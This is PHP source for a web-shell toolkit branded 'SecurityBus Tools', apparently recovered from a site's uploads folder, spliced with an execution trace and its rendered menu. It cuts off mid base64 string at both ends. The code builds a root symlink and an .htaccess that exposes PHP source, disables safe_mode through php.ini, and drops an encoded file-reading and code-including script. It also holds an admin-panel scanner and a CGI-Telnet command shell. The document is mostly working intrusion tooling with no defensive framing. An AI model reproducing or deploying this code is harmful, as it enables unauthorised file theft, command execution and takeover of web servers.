0KYWRtL2luZGV4LmFzcA0KYWRtLmFzcA0KYWZmaWxpYXRlLmFzcA0KYWRtX2F1dGguYXNwDQptZW1iZXJhZG1pbi5hc3ANCmFkbWluaXN0cmF0b3Jsb2dpbi5hc3ANCnNpdGVhZG1pbi9sb2dpbi5hc3ANCnNpdGVhZG1pbi9pbmRleC5hc3ANCkFETUlOLw0KcGFuZWxkZWNvbnRyb2wvDQpsb2dpbi8NCmNtcy8NCmFkbW9uLw0KQURNT04vDQphZG1pbmlzdHJhZG9yLw0KQURNSU4vbG9naW4ucGhwDQpwYW5lbGMvDQpBRE1JTi9sb2dpbi5odG1sIjsNCmZ1bmN0aW9uIHRlbXBsYXRlKCkgew0KZWNobyAnDQo8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBUcmFuc2l0aW9uYWwvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtdHJhbnNpdGlvbmFsLmR0ZCI+DQo8aHRtbCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI+DQo8aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04IiAvPg0KPHRpdGxlPiBTZWN1cml0eUJ1cyA8L3RpdGxlPg0KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCmJvZHl7DQoJYmFja2dyb3VuZDogIzAwMDsNCgltYXJnaW46IDA7DQoJcGFkZGluZzogMDsNCglwYWRkaW5nLXRvcDogMTBweDsNCgljb2xvcjogI0ZGRjsNCglmb250LWZhbWlseTogQ2FsaWJyaTsNCglmb250LXNpemU6IDEzcHg7DQp9DQphew0KCWNvbG9yOiAjRkZGOw0KCXRleHQtZGVjb3JhdGlvbjogbm9uZTsNCglmb250LXdlaWdodDogYm9sZDsNCn0NCi53cmFwcGVyew0KCXdpZHRoOiAxMDAwcHg7DQoJbWFyZ2luOiAwIGF1dG87DQp9DQoudHViZXsNCglwYWRkaW5nOiAxMHB4Ow0KfQ0KLnJlZHsNCgl3aWR0aDogOTk4cHg7DQoJYm9yZGVyOiAxcHggc29saWQgI2U1MjIyNDsNCgliYWNrZ3JvdW5kOiAjMTkxOTE5Ow0KCWNvbG9yOiAjZTUyMjI0DQp9DQoucmVkIGlucHV0ew0KCWJhY2tncm91bmQ6ICMwMDA7DQoJYm9yZGVyOiAxcHggc29saWQgI2U1MjIyNDsNCgljb2xvcjogI0ZGRjsNCn0NCi5ibHVlew0KCWZsb2F0OiBsZWZ0Ow0KCXdpZHRoOiAxMDAwcHg7DQoJYm9yZGVyOiAxcHggc29saWQgIzFkN2ZjMzsNCgliYWNrZ3JvdW5kOiAjMTkxOTE5Ow0KCWNvbG9yOiAjMWQ3ZmMzOw0KfQ0KLmdyZWVuew0KCWZsb2F0OiBsZWZ0Ow0KCXdpZHRoOiAxMDAwcHg7DQoJYm9yZGVyOiAxcHggc29saWQgIzVmZDQxOTsNCgliYWNrZ3JvdW5kOiAjMTkxOTE5Ow0KCWNvbG9yOiAjNWZkNDE5Ow0KfQ0KPC9zdHlsZT4NCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NCjwhLS0NCmZ1bmN0aW9uIGluc2VydGNvZGUoJHRleHQsICRwbGFjZSwgJHJlcGxhY2UpDQp7DQoJdmFyICR0aGlzID0gJHRleHQ7DQoJdmFyIGxvZ2JveCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCRwbGFjZSk7DQoJaWYoJHJlcGxhY2UgPT0gMCkNCgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJHBsYWNlKS5pbm5lckhUTUwgPSBsb2dib3guaW5uZXJIVE1MKyR0aGlzOw0KCWVsc2UNCgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJHBsYWNlKS5pbm5lckhUTUwgPSAkdGhpczsNCi8vZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImhlbHBib3giKS5pbm5lckhUTUwgPSAkdGhpczsNCn0NCi0tPg0KPC9zY3JpcHQ+DQo8L2hlYWQ+DQo8Ym9keT4NCjxiciAvPg0KPGJyIC8+DQo8ZGl2IGNsYXNzPSJ3cmFwcGVyIj4NCjxkaXYgY2xhc3M9InJlZCI+DQo8ZGl2IGNsYXNzPSJ0dWJlIj4NCjxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIG5hbWU9InhwbG9pdF9mb3JtIj4NClVSTDo8YnIgLz48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ieHBsb2l0X3VybCIgdmFsdWU9IicuJF9QT1NUWyd4cGxvaXRfdXJsJ10uJyIgc3R5bGU9IndpZHRoOiAxMDAlOyIgLz48YnIgLz48YnIgLz4NCjQwNHN0cmluZzo8YnIgLz48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ieHBsb2l0XzQwNHN0cmluZyIgdmFsdWU9IicuJF9QT1NUWyd4cGxvaXRfNDA0c3RyaW5nJ10uJyIgc3R5bGU9IndpZHRoOiAxMDAlOyIgLz48YnIgLz48YnIgLz4NCjxzcGFuIHN0eWxlPSJmbG9hdDogcmlnaHQ7Ij48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJ4cGxvaXRfc3VibWl0IiB2YWx1ZT0iQ0VSQ0EiIGFsaWduPSJyaWdodCIgLz48L3NwYW4+DQo8L2Zvcm0+DQo8YnIgLz4NCjwvZGl2PiA8IS0tIC90dWJlIC0tPg0KPC9kaXY+IDwhLS0gL3JlZCAtLT4NCjxiciAvPg0KPGRpdiBjbGFzcz0iZ3JlZW4iPg0KPGRpdiBjbGFzcz0idHViZSIgaWQ9InJpZ2h0Y29sIj4NClZlcmlmaWNhdGk6IDxzcGFuIGlkPSJ2ZXJpZmllZCI+MDwvc3Bhbj4gLyA8c3BhbiBpZD0idG90YWwiPjA8L3NwYW4+PGJyIC8+DQpUcm92YXRpOjxiciAvPg0KPC9kaXY+IDwhLS0gL3R1YmUgLS0+DQo8L2Rpdj4gPCEtLSAvZ3JlZW4gLS0+DQo8YnIgY2xlYXI9ImFsbCIgLz48YnIgLz4NCjxkaXYgY2xhc3M9ImJsdWUiPg0KPGRpdiBjbGFzcz0idHViZSIgaWQ9ImxvZ2JveCI+DQo8YnIgLz4NCjxiciAvPg0KU2VjdXJpdHlCdXMgPGJyIC8+DQo8L2Rpdj4gPCEtLSAvdHViZSAtLT4NCjwvZGl2PiA8IS0tIC9ibHVlIC0tPg0KPC9kaXY+IDwhLS0gL3dyYXBwZXIgLS0+DQo8YnIgY2xlYXI9ImFsbCI+JzsNCn0NCmZ1bmN0aW9uIHNob3coJG1zZywgJGJyPTEsICRzdG9wPTAsICRwbGFjZT0nbG9nYm94JywgJHJlcGxhY2U9MCkgew0KCWlmKCRiciA9PSAxKSAkbXNnIC49ICI8YnIgLz4iOw0KCWVjaG8gIjxzY3JpcHQgdHlwZT1cInRleHQvamF2YXNjcmlwdFwiPmluc2VydGNvZGUoJyIuJG1zZy4iJywgJyIuJHBsYWNlLiInLCAnIi4kcmVwbGFjZS4iJyk7PC9zY3JpcHQ+IjsNCglpZigkc3RvcCA9PSAxKSBleGl0Ow0KCUBmbHVzaCgpO0BvYl9mbHVzaCgpOw0KfQ0KZnVuY3Rpb24gY2hlY2soJHgsICRmcm9udD0wKSB7DQoJZ2xvYmFsICRfUE9TVCwkc2l0ZSwkZmFsc2U7DQoJaWYoJGZyb250ID09IDApICR0ID0gJHNpdGUuJHg7DQoJZWxzZSAkdCA9ICdodHRwOi8vJy4keC4nLicuJHNpdGUuJy8nOw0KCSRoZWFkZXJzID0gZ2V0X2hlYWRlcnMoJHQpOw0KCWlmICghZXJlZ2koJzIwMCcsICRoZWFkZXJzWzBdKSkgcmV0dXJuIDA7DQoJJGRhdGEgPSBAZmlsZV9nZXRfY29udGVudHMoJHQpOw0KCWlmKCRfUE9TVFsneHBsb2l0XzQwNHN0cmluZyddID09ICIiKSBpZigkZGF0YSA9PSAkZmFsc2UpIHJldHVybiAwOw0KCWlmKCRfUE9TVFsneHBsb2l0XzQwNHN0cmluZyddICE9ICIiKSBpZihzdHJwb3MoJGRhdGEsICRfUE9TVFsneHBsb2l0XzQwNHN0cmluZyddKSkgcmV0dXJuIDA7DQoJcmV0dXJuIDE7DQp9DQoJDQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KdGVtcGxhdGUoKTsNCmlmKCFpc3NldCgkX1BPU1RbJ3hwbG9pdF91cmwnXSkpIGRpZTsNCmlmKCRfUE9TVFsneHBsb2l0X3VybCddID09ICcnKSBkaWU7DQokc2l0ZSA9ICRfUE9TVFsneHBsb2l0X3VybCddOw0KaWYgKCRzaXRlW3N0cmxlbigkc2l0ZSktMV0gIT0gIi8iKSAkc2l0ZSAuPSAiLyI7DQppZigkX1BPU1RbJ3hwbG9pdF80MDRzdHJpbmcnXSA9PSAiIikgJGZhbHNlID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRzaXRlLiJkNjU4OTdmNTM4MGEyMWE0MmRiOTRiMzkyN2I4MjNkNTZlZTEwOTlhLXRoaXNfY2FuLXRfZXhpc3QuaHRtbCIpOw0KJGxpc3RbJ2VuZCddID0gc3RyX3JlcGxhY2UoIlxyIiwgIiIsICRsaXN0WydlbmQnXSk7DQokbGlzdFsnZnJvbnQnXSA9IHN0cl9yZXBsYWNlKCJcciIsICIiLCAkbGlzdFsnZnJvbnQnXSk7DQokcGF0aGVzID0gZXhwbG9kZSgiXG4iLCAkbGlzdFsnZW5kJ10pOw0KJGZyb250cGF0aGVzID0gZXhwbG9kZSgiXG4iLCAkbGlzdFsnZnJvbnQnXSk7DQpzaG93KGNvdW50KCRwYXRoZXMpK2NvdW50KCRmcm9udHBhdGhlcyksIDEsIDAsICd0b3RhbCcsIDEpOw0KJHZlcmlmaWNhdGUgPSAwOw0KZm9yZWFjaCgkcGF0aGVzIGFzICRwYXRoKSB7DQoJc2hvdygnQ29udHJvbGxvICcuJHNpdGUuJHBhdGguJyA6ICcsIDAsIDAsICdsb2dib3gnLCAwKTsNCgkkdmVyaWZpY2F0ZSsrOyBzaG93KCR2ZXJpZmljYXRlLCAwLCAwLCAndmVyaWZpZWQnLCAxKTsNCglpZihjaGVjaygkcGF0aCkgPT0gMCkgc2hvdygnbm9uIHRyb3ZhdG8nLCAxLCAwLCAnbG9nYm94JywgMCk7DQoJZWxzZXsNCgkJc2hvdygnPHNwYW4gc3R5bGU9ImNvbG9yOiAjMDBGRjAwOyI+PHN0cm9uZz5Ucm92YXRvPC9zdHJvbmc+PC9zcGFuPicsIDEsIDAsICdsb2dib3gnLCAwKTsNCgkJc2hvdygnPGEgaHJlZj0iJy4kc2l0ZS4kcGF0aC4nIj4nLiRzaXRlLiRwYXRoLic8L2E+JywgMSwgMCwgJ3JpZ2h0Y29sJywgMCk7DQoJfQ0KfQ0KcHJlZ19tYXRjaCgiL1wvXC8oLio/KVwvL2kiLCAkc2l0ZSwgJHh4KTsgJHNpdGUgPSAkeHhbMV07DQppZihzdWJzdHIoJHNpdGUsIDAsIDMpID09ICJ3d3ciKSAkc2l0ZSA9IHN1YnN0cigkc2l0ZSwgNCk7DQpmb3JlYWNoKCRmcm9udHBhdGhlcyBhcyAkZnJvbnRwYXRoKSB7DQoJc2hvdygnQ29udHJvbGxvIGh0dHA6Ly8nLiRmcm9udHBhdGguJy4nLiRzaXRlLicvIDogJywgMCwgMCwgJ2xvZ2JveCcsIDApOw0KCSR2ZXJpZmljYXRlKys7IHNob3coJHZlcmlmaWNhdGUsIDAsIDAsICd2ZXJpZmllZCcsIDEpOw0KCWlmKGNoZWNrKCRmcm9udHBhdGgsIDEpID09IDApIHNob3coJ25vbiB0cm92YXRvJywgMSwgMCwgJ2xvZ2JveCcsIDApOw0KCWVsc2V7DQoJCXNob3coJzxzcGFuIHN0eWxlPSJjb2xvcjogIzAwRkYwMDsiPjxzdHJvbmc+VHJvdmF0bzwvc3Ryb25nPjwvc3Bhbj4nLCAxLCAwLCAnbG9nYm94JywgMCk7DQoJCXNob3coJzxhIGhyZWY9Imh0dHA6Ly8nLiRmcm9udHBhdGguJy4nLiRzaXRlLicvIj4nLiRmcm9udHBhdGguJy4nLiRzaXRlLic8L2E+JywgMSwgMCwgJ3JpZ2h0Y29sJywgMCk7DQoJfQ0KCQ0KfQ==')); ?>\r\n");
echo "<a href='./tools/searchadmin.php'>Here searchadmin.php</a><br>";
} else {
echo "\r\n <form method='POST'>\r\nplease select tool :\r\n<select name='tool'>\r\n<option value='sym'>sym</option>\r\n<option value='tools'>tools</option>\r\n<option value='phpini'>php.ini</option>\r\n<option value='perl'>security.bus</option>\r\n<option value='inject'>Inject Database</option>\r\n<option value='Shells'>Shells</option>\r\n</select>\r\n<input type='submit' name='sub' value='Go' />\r\n</form>\r\n ";
}
?>
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 01:15:09.246009]
1 0 1 0.000250 393464
1 3 0 0.003547 1525624 {main} 1 /var/www/html/uploads/2.php 0 0
1 3 1 0.003655 1525624
0.003695 314200
TRACE END [2023-02-13 01:15:09.249503]
<html><head>
<meta name="keywords" content="Tools Headquarters Group x3">
<meta name="description" content="Tools Headquarters Group x3">
<title>SecurityBus Tools </title>
</head>
<body><form method="POST">
please select tool :
<select name="tool">
<option value="sym">sym</option>
<option value="tools">tools</option>
<option value="phpini">php.ini</option>
<option value="perl">security.bus</option>
<option value="inject">Inject Database</option>
<option value="Shells">Shells</option>
</select>
<input type="submit" name="sub" value="Go">
</form>
</body></html>
<head>
<meta name="keywords" content="Tools Headquarters Group x3">
<meta name="description" content="Tools Headquarters Group x3">
<title>SecurityBus Tools </title>
</head>
<?php
# Tool Symlink
if($_POST[tool]== 'sym'){
$sym = "sym";
mkdir('sym');
chdir('./sym');
system('ln -s / 1.txt');
$htaccess = fopen('.htaccess','a+');
fwrite($htaccess,"Options all\nDirectoryIndex Sux.html\nAddType text/plain .php\nAddHandler server-parsed .php\nAddType text/plain .html");
fclose($htaccess);
echo "<a href='./sym/1.txt'>Here Sym</a><br>";
# Tool php.ini
}elseif($_POST[tool]=='phpini'){
$ini = "phpini";
mkdir($ini);
$safe = fopen("./phpini/php.ini",'a+');
$tryag = fopen("./phpini/tryag.php",'a+');
$filetryag='PD9waHANCkBzZXRfdGltZV9saW1pdCgwKTsNCkBlcnJvcl9yZXBvcnRpbmcoMCk7DQplY2hvICc8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KPCEtLQ0KYm9keSB7DQoJYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsNCgljb2xvcjogI2ZmZmZmZjsNCn0NCi50aXRsZSB7DQoJZm9udC1zaXplOiAyNHB4Ow0KCWNvbG9yOiAjZmZmZmZmOw0KCWZvbnQtd2VpZ2h0OiBib2xkOw0KfQ0KaW5wdXQsdGV4dGFyZWF7DQpjb2xvcjogIzAwRkYwMDsNCmZvbnQtd2VpZ2h0OiBib2xkOw0KZGFzaGVkICNmZmZmZmY7DQpib3JkZXI6IDFweA0Kc29saWQgIzAwRkYwMDsNCmJhY2tncm91bmQtY29sb3I6ICMwMDAwMDANCn0NCi0tPg0KPC9zdHlsZT4NCjx0aXRsZT5Db25maWcgU2NhcmUgdG9vbCB2LjE8L3RpdGxlPg0KPGNlbnRlcj4NCjx0YWJsZSB3aWR0aD0iNjAwIiBib3JkZXI9IjEiIGNlbGxwYWRkaW5nPSIxIiBjZWxsc3BhY2luZz0iMCIgYm9yZGVyY29sb3I9IiMwMEZGMDAiPg0KICA8dHI+DQogICAgPHRkIGJnY29sb3I9IiMwMDMzMDAiPjxkaXYgY2xhc3M9dGl0bGUgYWxpZ249Y2VudGVyPjxNQVJRVUVFIGRpcmVjdGlvbj0ibGVmdCI+Q29uZmlnIFNjYXJlIHRvb2wgdi4xPC9NQVJRVUVFPjwvZGl2PjwvdGQ+DQogIDwvdHI+DQogIDx0cj4NCiAgPHRkPic7DQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KJHN5bWwgPSBAZnVuY3Rpb25fZXhpc3RzKCdzeW1saW5rJyk7DQokbXlzcWwgPSBAZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9jb25uZWN0Jyk7DQokaW5pcmVzID0gQGZ1bmN0aW9uX2V4aXN0cygnaW5pX3Jlc3RvcmUnKTsNCiRjb3B5ID0gQGZ1bmN0aW9uX2V4aXN0cygnY29weScpOw0KJGN1cmwgPSBAZnVuY3Rpb25fZXhpc3RzKCdjdXJsX2V4ZWMnKTsNCiRzYWZlbW9kID0gQGluaV9nZXQoJ3NhZmVfbW9kZScpOw0KJGJhc2UgPSBAaW5pX2dldCgib3Blbl9iYXNlZGlyIik7DQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KZWNobyAnPGI+U2FmZSBtb2QgOiAnOw0KaWYoJHNhZmVtb2Qpew0KCQkJCWVjaG8gJzxmb250IGNvbG9yPXJlZD5PTjwvZm9udD4nOw0KCQkJfQ0KCQkJZWxzZXsNCgkJCQllY2hvICc8Zm9udCBjb2xvcj1ncmVlbj5PRkY8L2ZvbnQ+JzsNCgkJCX0NCgkJCWVjaG8gJzxiciAvPlN5bWxpbmsgOiAnOw0KCQkJaWYoJHN5bWwpew0KCQkJCWVjaG8gJzxmb250IGNvbG9yPWdyZWVuPk9OPC9mb250Pic7DQoJCQl9DQoJCQllbHNlew0KCQkJCWVjaG8gJzxmb250IGNvbG9yPXJlZD5PRkY8L2ZvbnQ+JzsNCgkJCX0NCgkJCWVjaG8gJzxiciAvPkluaV9yZXN0b3JlIDogJzsNCgkJCWlmKCRpbmlyZXMpew0KCQkJCWVjaG8gJzxmb250IGNvbG9yPWdyZWVuPk9OPC9mb250Pic7DQoJCQl9DQoJCQllbHNlew0KCQkJCWVjaG8gJzxmb250IGNvbG9yPXJlZD5PRkY8L2ZvbnQ+JzsNCgkJCX0NCgkJCWVjaG8gJzxiciAvPkNvcHkgOiAnOw0KCQkJaWYoJGNvcHkpew0KCQkJCWVjaG8gJzxmb250IGNvbG9yPWdyZWVuPk9OPC9mb250Pic7DQoJCQl9DQoJCQllbHNlew0KCQkJCWVjaG8gJzxmb250IGNvbG9yPXJlZD5PRkY8L2ZvbnQ+JzsNCgkJCX0NCgkJCWVjaG8gJzxiciAvPkN1cmwgOiAnOw0KCQkJaWYoJGN1cmwpew0KCQkJCWVjaG8gJzxmb250IGNvbG9yPWdyZWVuPk9OPC9mb250Pic7DQoJCQl9DQoJCQllbHNlew0KCQkJCWVjaG8gJzxmb250IGNvbG9yPXJlZD5PRkY8L2ZvbnQ+JzsNCgkJCX0NCgkJCWVjaG8gJzxiciAvPk9wZW4gYmFzZSBkaXIgOiAnOw0KCQkJaWYoJGJhc2Upew0KCQkJCWVjaG8gJzxmb250IGNvbG9yPXJlZD5PTjwvZm9udD4nOw0KCQkJfQ0KCQkJZWxzZXsNCgkJCQllY2hvICc8Zm9udCBjb2xvcj1ncmVlbj5PRkY8L2ZvbnQ+JzsNCgkJCX0NCgkJCWVjaG8gJzwvYj4nOw0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCgllY2hvICc8Y2VudGVyPjxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSI/cmVhZCI+DQoJCQkgICA8aW5wdXQgbmFtZT0iZmlsZWN3ZCIgdHlwZT0idGV4dCIgdmFsdWU9IicuZ2V0Y3dkKCkuJyIgc2l6ZT0iNDAiPg0KCQkJICAgPGlucHV0IG5hbWU9ImZpbGVyZWFkIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJyZWFkIj4NCgkJCSAgIDwvZm9ybT4nOw0KCQkJICAgaWYoaXNzZXQoJF9HRVRbJ3JlYWQnXSkpew0KCQkJICAgCSRmaWxlY3dkID0gJF9QT1NUWydmaWxlY3dkJ107DQoJCQkgICAJaWYoJHN5bWwpew0KCQkJZWNobyAnPGRpdiBhbGlnbj0iY2VudGVyIj5TeW1saW5rPC9kaXY+JzsNCgkJCSRzeW1sbWEgPSAkY3dkLiIvZy1iLnR4dCI7DQoJCSAgIAlAc3ltbGluaygkZmlsZWN3ZCwkc3ltbG1hKTsNCgkJICAgCWVjaG8gJzxjZW50ZXI+PGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249Ij9kZWNvZGUiPg0KCQkJPHRleHRhcmVhIGNvbHM9IjcwIiByb3dzPSIxMCIgY2xhc3M9aW5wdXQ+JzsNCgkJICAgCSRjb250ZW50c3NzID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRzeW1sbWEpOw0KCQkgICAJJGNvbnRlbnRzc3MgPSBAaHRtbHNwZWNpYWxjaGFycygkY29udGVudHNzcyk7DQoJCSAgIAllY2hvICRjb250ZW50c3NzOw0KCQkgICAJZWNobyAnPC90ZXh0YXJlYT48YnIgLz4NCgkJCSAgIDxpbnB1dCBuYW1lPSJkZWNvZGUiIHR5cGU9InN1Ym1pdCIgdmFsdWU9ImRlY29kZSI+DQoJCQkJCQkJPC9mb3JtPjwvY2VudGVyPic7DQoJCSAgIAlAdW5saW5rKCJnLWIudHh0Iik7DQoJCSAgIAllY2hvICc8YnIgLz4nOw0KCQkJfQ0KCQkJaWYoJGluaXJlcyl7DQoJCQkJZWNobyAnPGRpdiBhbGlnbj0iY2VudGVyIj5JbmkgcmVzdG9yZTwvZGl2Pg0KCQkJCTxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSI/ZGVjb2RlIj4NCgkJCQk8dGV4dGFyZWEgY29scz0iNzAiIHJvd3M9IjEwIiBuYW1lPSJjb2RlIj4nOw0KCQkJCSRpbmk9JF9QT1NUWydmaWxlY3dkJ107DQoJCQkJZWNobyBpbmlfZ2V0KCJzYWZlX21vZGUiKTsNCgkJCQllY2hvIGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KCQkJCWluaV9yZXN0b3JlKCJzYWZlX21vZGUiKTsNCgkJCQlpbmlfcmVzdG9yZSgib3Blbl9iYXNlZGlyIik7DQoJCQkJZWNobyBpbmlfZ2V0KCJzYWZlX21vZGUiKTsNCgkJCQllY2hvIGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KCQkJCSRzPSBAaHRtbHNwZWNpYWxjaGFycyhAZmlsZV9nZXRfY29udGVudHMoIiRpbmkiKSk7DQoJCQkJZWNobyAkczsNCgkJCQllY2hvICc8L3RleHRhcmVhPjxiciAvPg0KCQkJCQkgIDxpbnB1dCBuYW1lPSJkZWNvZGUiIHR5cGU9InN1Ym1pdCIgdmFsdWU9ImRlY29kZSI+DQoJCQkJCSAgPC9mb3JtPg0KCQkJCTxiciAvPic7DQoJCQl9DQoJCQlpZigkY29weSl7DQoJCQkJZWNobyAnPGRpdiBhbGlnbj0iY2VudGVyIj5Db3B5PC9kaXY+JzsNCgkJCQllY2hvICc8Y2VudGVyPjxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSI/ZGVjb2RlIj4NCgkJCQk8dGV4dGFyZWEgY29scz0iNzAiIHJvd3M9IjEwIiBjbGFzcz1pbnB1dD4nOw0KCQkJCQkJCSRuZXdmaWxlID0gImctYi50eHQiOw0KCQkJCQkJCSRmaWxlciA9ICRfUE9TVFsnZmlsZWN3ZCddOw0KCQkJCQkJCUBjb3B5KCRmaWxlciwkbmV3ZmlsZSk7DQoJCQkJCQkJJHJjb3B5ID0gQGh0bWxzcGVjaWFsY2hhcnMoQGZpbGVfZ2V0X2NvbnRlbnRzKCRuZXdmaWxlKSk7DQoJCQkJCQkJZWNobyAkcmNvcHk7DQoJCQkJCQkJQHVubGluaygkbmV3ZmlsZSk7DQoJCQkJCQkJZWNobyAnPC90ZXh0YXJlYT48YnIgLz4NCgkJCQkJCQk8aW5wdXQgbmFtZT0iZGVjb2RlIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJkZWNvZGUiPg0KCQkJCQkJCTwvZm9ybT48L2NlbnRlcj4NCgkJCQkJCQk8YnIgLz4nOw0KCQkJfQ0KCQkJaWYoJGN1cmwpew0KCQkJCWVjaG8gJzxkaXYgYWxpZ249ImNlbnRlciI+Q3VybDwvZGl2Pic7DQoJCQkJZWNobyAnPGNlbnRlcj48Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iP2RlY29kZSI+DQoJCQkJPHRleHRhcmVhIGNvbHM9IjcwIiByb3dzPSIxMCIgY2xhc3M9aW5wdXQ+JzsNCgkJCQkJCQkkY3UgPSAkX1BPU1RbJ2ZpbGVjd2QnXTsNCgkJCQkJCQkkbGkgPSBAY3VybF9pbml0KCJmaWxlOi8vLyIuJGN1LiJceDAwLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLyIuJ0M6XFVzZXJzXHRlc3RcRG93bmxvYWRzXERlWmVuZF9EZUNyeVxwaHA1IEdlbmVyaWMgRGVjb2RlclxwaHA1IEdlbmVyaWMgRGVjb2RlclxwaHA1IERlY29kZXJfX0ZJTEVfXzEtZW5jb2RlZFx0cnlhZy5waHAnKTsNCgkJCQkJCQlAdmFyX2R1bXAoQGN1cmxfZXhlYygkbGkpKTsNCgkJCQkJCQllY2hvICc8L3RleHRhcmVhPjxiciAvPg0KCQkJCQkJCTxpbnB1dCBuYW1lPSJkZWNvZGUiIHR5cGU9InN1Ym1pdCIgdmFsdWU9ImRlY29kZSI+DQoJCQkJCQkJPC9mb3JtPjwvY2VudGVyPic7DQoJCQl9DQoJCQl9DQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCmlmKGlzc2V0KCRfR0VUWydkZWNvZGUnXSkpew0KCSRjb2RlID0gc3RyaXBzbGFzaGVzKCRfUE9TVFsnY29kZSddKTsNCgkkb3BlbiA9IGZvcGVuKCJlbmNvZGUucGhwIiwidyIpOw0KCSR3cml0ZSA9IGZ3cml0ZSgkb3BlbiwkY29kZSk7DQoJaWYoJHdyaXRlKXsNCglpbmNsdWRlKCJlbmNvZGUucGhwIik7DQoJZWNobyAnPGNlbnRlcj48dGV4dGFyZWEgY29scz0iODAiIHJvd3M9IjIwIiBjbGFzcz1pbnB1dD4nOw0KCWVjaG8gJEdMT0JBTFNbJ09PMDBPMDBPMCddOw0KCWVjaG8gJzwvdGV4dGFyZWE+PC9jZW50ZXI+JzsNCgl9ZWxzZXsNCgkJZWNobyAnPHNjcmlwdD5hbGVydCgiRVJST1IiKTwvc2NyaXB0Pic7DQoJfQ0KfQ0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KZWNobyAnPC90ZD48L3RyPg0KPHRyPg0KPHRkPjxkaXYgYWxpZ249Y2VudGVyIGNsYXNzPXRpdGxlPlNlY3VyaXR5QnVzPC9kaXY+PC90ZD4NCjwvdGFibGU+PC9jZW50ZXI+DQonOw0KDQo/Pg==';
fwrite($safe,"safe_mode = off");
fwrite($tryag,base64_decode($filetryag));
fclose($safe);
echo "<a href='./phpini/php.ini'>Here php.ini</a><br>";
echo "<a href='./phpini/tryag.php'>Here tryag.php</a><br>";
# Tool perl.pl
}elseif($_POST[tool]=='perl'){
$perl = "perl";
mkdir('perl');
chdir('perl');
#$xEn = fopen('telnet2.cgi','a+');
$fileencode='IyEvdXNyL2Jpbi9wZXJsDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIENvcHlyaWdodCBhbmQgTGljZW5jZQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBDR0ktVGVsbmV0IFZlcnNpb24gMS4wIGZvciBOVCBhbmQgVW5peCA6IFJ1biBDb21tYW5kcyBvbiB5b3VyIFdlYiBTZXJ2ZXINCiMNCiMgQ29weXJpZ2h0IChDKSAyMDAxIFJvaGl0YWIgQmF0cmENCiMgUGVybWlzc2lvbiBpcyBncmFudGVkIHRvIHVzZSwgZGlzdHJpYnV0ZSBhbmQgbW9kaWZ5IHRoaXMgc2NyaXB0IHNvIGxvbmcNCiMgYXMgdGhpcyBjb3B5cmlnaHQgbm90aWNlIGlzIGxlZnQgaW50YWN0LiBJZiB5b3UgbWFrZSBjaGFuZ2VzIHR